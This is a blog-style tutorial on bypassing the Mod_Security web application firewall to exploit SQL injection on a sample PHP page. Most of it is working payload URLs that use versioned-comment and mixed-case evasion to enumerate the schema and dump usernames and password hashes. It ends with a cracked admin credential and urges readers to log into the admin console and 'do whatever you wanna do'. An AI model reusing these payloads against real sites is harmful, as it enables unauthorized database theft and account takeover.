Since years,
SQL Injections have been the most dreadful and frightening of all
vulnerabilities discovered till date. The power of a single quote (') is beyond
comparison. SQL injection attacks were first discovered in 1998, with one of
the first live attacks taking place in 2002 on the fashion retailer Guess and
the rest is History. Billions of Dollars and reputations have been lost. In
spite of implementing multiple forms of fixes, it’s a never ending war between
developers and hackers. If the former comes up with a way to prevent it, the
latter comes up with a way to bypass it.
The blog focuses on providing in-depth insights into the discussion of the techniques used to bypass
one of such prevention methods. This blog will not help you to learn the
basics of SQL Injection; so I would recommend you to go through OWASP before even thinking about jumping into advanced techniques. This blog is more
focused on bypassing Mod_Security (Web Application Firewall) and eventually exploiting SQL Injection vulnerability.
The Attack:
First and
foremost, we need to find our target website. In this case I am using:
http://targetsite.com/demo/exams.php?sort=8Looks perfect! Right? Now let's try to insert a single quote at the end of the URL and observe what happens:
Hmmm!! Different response!
The page
appears but no data. So something did happen but still we don’t have a
confirmation whether SQL Injection exists or not. Let's modify our query a bit
to see how the application responds.
http://targetsite.com/demo/exams.php?sort=8' or 1=1--
Normally in a
vulnerable website the above query would return values from the entire table
since the Boolean condition is always true. Let's see how this website
responds:
http://targetsite.com/demo/exams.php?sort=8' or 1=1--
BLOCKED!
It seems like
our target website has a WAF implemented to prevent itself from being targeted.
So, if I am not wrong, any attacks directed towards the database will be
blocked by Mod_Security.
Well in some
cases, it is possible to block such attacks if you have the implementation done
correctly with an up-to-date version of WAF being used and regular update of
security patches being rolled out.
But then again,
aren't we hackers? We don't give up, do we? Let's try to get around it. Sounds
intriguing? Let's play.
First we need
to make some queries work just to be sure that SQL Injection indeed exists.
Finding the Number of Columns:
Till now I
would say that we are kinda hacking in the dark. No real MySQL errors which
actually proved the presence of SQL Injection. The only success we had was when
we used a single quote in the above mentioned URL and received a blank page in
response…no rows…no data. This can however mean that we somehow managed to
change the structure of the underlying query and the page might be vulnerable
to SQL Injection. Let's try and get some confirmation.
Finding the
number of columns present in the current database might actually prove its
presence. This can be achieved by using a simple "ORDER BY" clause.
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 1-- No Error! Expected Response! Cool…there's Hope after all….
Let's proceed
further…
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 2-- No Errorhttp://targetsite.com/demo/exams.php?sort=8 ORDER BY 3-- No Error
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 4-- No Error
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 5-- No Error
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 6-- No Error
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 7-- No Error but a Blank Page
As seen above, ORDER BY 7-- query generated a different response thereby proving the existence of 6 columns in the current database. We were lucky though since the WAF did not block the 'ORDER' keyword. We need that sometimes!
However, since
now we know the number of columns in use; let’s see which columns get
displayed in the response.
OOPS! Mod_Security again!
So I guess the
filter has been set on 'UNION' and 'SELECT' keywords. So now it's time to
actually bypass the WAF (since we've had enough of it) by modifying the query
and force the backend database to exfiltrate data as we desire.
Bypassing WAF:
Let's try the modified query below:
http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,6--+It seems like the 3rd, 4th and 6th columns are being displayed. Now we can use SQL Injection to extract data and display them on the above displayed columns
Let's extract
our first GOLDEN PRIZED data by finding out the MySQL version and the current
database user.
http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2, current_user(),@@version,5,6--+
Extracting Data from Database:
http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2, current_user(),@@version,5,6--+
Extracting Data from Database:
Since we know
it’s a MYSQL database, we also know that there are some globally defined
database tables, columns and schema. The names and hierarchies are as follows:
·
information_schema - name of the meta-database in
MYSQL which has the following table
Ø columns -
is the table name in the information_schema which in turn has the following columns inside
ü
table_name -
all tables in all databases
ü
column_name -
all columns in all the tables of all the databases
ü
table_schema
- all databases in server
Now let’s use
this to get some data.
Step 1. Extracting Tables:
http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/*!50000gROup_cONcat(table_name,0x0a) */+from+/*!50000inforMAtion_schema*/.tables+%20/*!50000wHEre*/+/*!50000taBLe_scheMA */like+database()--+
http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/*!50000gROup_cONcat(table_name,0x0a) */+from+/*!50000inforMAtion_schema*/.tables+%20/*!50000wHEre*/+/*!50000taBLe_scheMA */like+database()--+
Anything interesting? 'users' table seems to be interesting!
Let's query it
further to see what kind of columns it has.
Step 2. Extracting Columns from 'users' Table
http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/* !50000gROup_cONcat(column_name,0x0a)*/+from+/*!50000inforMAtion_schema*/.columns+/ *!50000wHEre*/+/*!50000taBLe_name*/=CHAR(117,%20115,%20101,%20114,%20115)--+
http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/* !50000gROup_cONcat(column_name,0x0a)*/+from+/*!50000inforMAtion_schema*/.columns+/ *!50000wHEre*/+/*!50000taBLe_name*/=CHAR(117,%20115,%20101,%20114,%20115)--+
I guess we reached the 'orgasmic' point where the next step could lead you to a complete different level. Imagine having a list of all the usernames and passwords at your disposal and especially if you have the ADMIN creds. Well I am not saying anything but you are intelligent enough to make use of it. So ready for your final attempt? Here we GO
Step 3. Extracting Data from 'username' & 'password' Columns
http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/*!50000gROup_cONcat(username,0x0a, password)*/+from+/*!50000users*/--+
http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/*!50000gROup_cONcat(username,0x0a, password)*/+from+/*!50000users*/--+
The data that I am most interested in is:
'admin':'9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684'
Looks like a
SHA-1 Hash which finally resolves to 'pass'
once reversed. So the final value:
Username: admin
Password: pass
Do I need to tell you what to do next!! Just go
find the GOD DAMN admin console and do whatever you wanna do. My Job here is
done. See you again. Till then